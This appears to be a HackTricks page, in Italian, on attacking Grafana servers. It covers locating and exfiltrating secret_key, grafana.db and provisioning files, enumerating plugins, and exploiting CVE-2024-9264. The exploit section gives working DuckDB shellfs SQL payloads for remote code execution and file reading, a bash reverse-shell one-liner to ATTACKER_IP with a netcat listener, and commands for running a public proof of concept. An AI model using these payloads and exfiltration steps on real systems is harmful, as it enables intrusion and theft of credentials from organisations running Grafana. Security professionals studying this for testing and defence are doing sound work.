Grafana
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Cose interessanti
- La configurazione principale si trova di solito in
/etc/grafana/grafana.ini(Deb/RPM) e può contenere valori sensibili comeadmin_user,admin_password,secret_key, OAuth settings, SMTP creds, e renderer tokens. - Per default Grafana memorizza i dati in SQLite3 sotto
/var/lib/grafana/grafana.db. - I file di provisioning sono molto interessanti dopo aver ottenuto accesso all’host:
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- L’espansione delle variabili d’ambiente è supportata nei file di provisioning, quindi leaked YAML spesso rivela sia i segreti sia i nomi delle variabili d’ambiente che li supportano.
- I plugin installati si trovano comunemente sotto
/var/lib/grafana/plugins. - All’interno della piattaforma potresti invitare utenti, generare API keys / service account tokens, elencare i plugin, o installare nuovi plugin a seconda del ruolo.
- Anche il browser è utile: Grafana espone la configurazione dei datasource non segreta al frontend. Se hai una sessione Viewer (o è abilitato l’anonymous access), ispeziona
window.grafanaBootDatadalle DevTools.
Useful SQLite checks:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
Esfiltrazione di origini dati e segreti
Grafana separa la configurazione leggibile dal browser dai segreti cifrati:
jsonDataè visibile agli utenti nel browser ed è spesso sufficiente per enumerare host interni, tenant, modalità di autenticazione, nomi di header, regioni AWS, indici Elasticsearch, tenant Loki, URL Prometheus e dati di ricognizione simili.secureJsonDataè cifrato lato server e non è più leggibile dal browser dopo il salvataggio dell’origine dati.
Flusso di lavoro post-exploitation:
- Fare il dump di
grafana.inie recuperaresecret_key. - Esfiltrare
grafana.dbe i file di provisioning. - Enumerare le origini dati e la configurazione dei plugin per trovare credenziali riutilizzabili e endpoint interni.
- Se si migra o si riproduce il database in un’altra istanza di Grafana, mantenere lo stesso
secret_keyaltrimenti le password/token delle origini dati memorizzate non verranno decifrati correttamente.
Perché secret_key è importante nelle versioni più recenti:
- A partire da Grafana v9, i segreti nel database utilizzano l’envelope encryption.
- Grafana cripta i segreti con data encryption keys (DEKs), e quei DEKs vengono crittografati con una key encryption key (KEK) derivata da
secret_key. - Dal punto di vista di un attaccante,
grafana.db+secret_keyè la coppia che vale la pena rubare.
Superficie di attacco dei plugin
Considera i plugin parte del bersaglio, non una nota a piè di pagina:
- Enumerali dal filesystem, dall’UI, o dall’API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
- I plugin più vecchi o di terze parti spesso estendono l’ambito di Grafana nelle reti interne perché fungono da proxy per richieste HTTP o interagiscono con file locali/database.
- Esempi recenti includono SSRF nel plugin Infinity (
< 3.4.1) e percorsi di abuso in cui il plugin Image Renderer trasforma un altro bug in full-read SSRF.
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
La funzionalità sperimentale SQL Expressions di Grafana può valutare query DuckDB che incorporano testo controllato dall’utente. Una sanitizzazione insufficiente permette a un attaccante di concatenare istruzioni DuckDB e caricare l’estensione community shellfs, che espone comandi di shell tramite file virtuali basati su pipe.
Impatto
- Qualsiasi utente autenticato con ruolo VIEWER o superiore può ottenere l’esecuzione di codice come l’utente OS di Grafana (spesso grafana; a volte root all’interno di un container) oppure leggere file locali.
- Precondizioni comunemente soddisfatte in deployment reali:
- SQL Expressions abilitato:
expressions.enabled = true - binario
duckdbpresente in PATH sul server
Controlli rapidi
- Nella UI/API, esplora le impostazioni di amministrazione (Swagger:
/swagger-ui, endpoint/api/admin/settings) per confermare: expressions.enabledè true- Opzionale: versione, tipi di datasource e impostazioni generali di hardening
- Shell sull’host:
which duckdbdeve risolversi per il percorso dell’exploit sotto.
Schema di query manuale usando DuckDB + shellfs
- Flusso di abuso (2 query):
- Installare e caricare l’estensione shellfs, eseguire un comando, reindirizzare l’output combinato in un file temporaneo tramite pipe
- Leggere il file temporaneo con
read_blob
Esempi di payload per SQL Expressions che vengono passati a DuckDB:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
Sostituisci CMD con il comando desiderato. Per la lettura di file (LFI) puoi invece usare le DuckDB file functions per leggere file locali.
Esempio di one-liner reverse shell
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
Incorpora questo come CMD nella prima query mentre hai un listener: nc -lnvp 443.
PoC automatizzata
- PoC pubblica (basata su cfreal’s ten framework):
- https://github.com/nollium/CVE-2024-9264
Esempio d’uso
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
Se l’output mostra uid=0(root), Grafana è in esecuzione come root (comune in alcuni container).
2025 client-side traversal / open redirect chain
La 2025 Grafana client-side traversal and open-redirect chain è già documentata in pagine più generiche relative al client-side. Usa quelle tecniche contro percorsi specifici di Grafana, come plugin assets, dashboard script loaders e token-rotation redirects:
Riferimenti
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


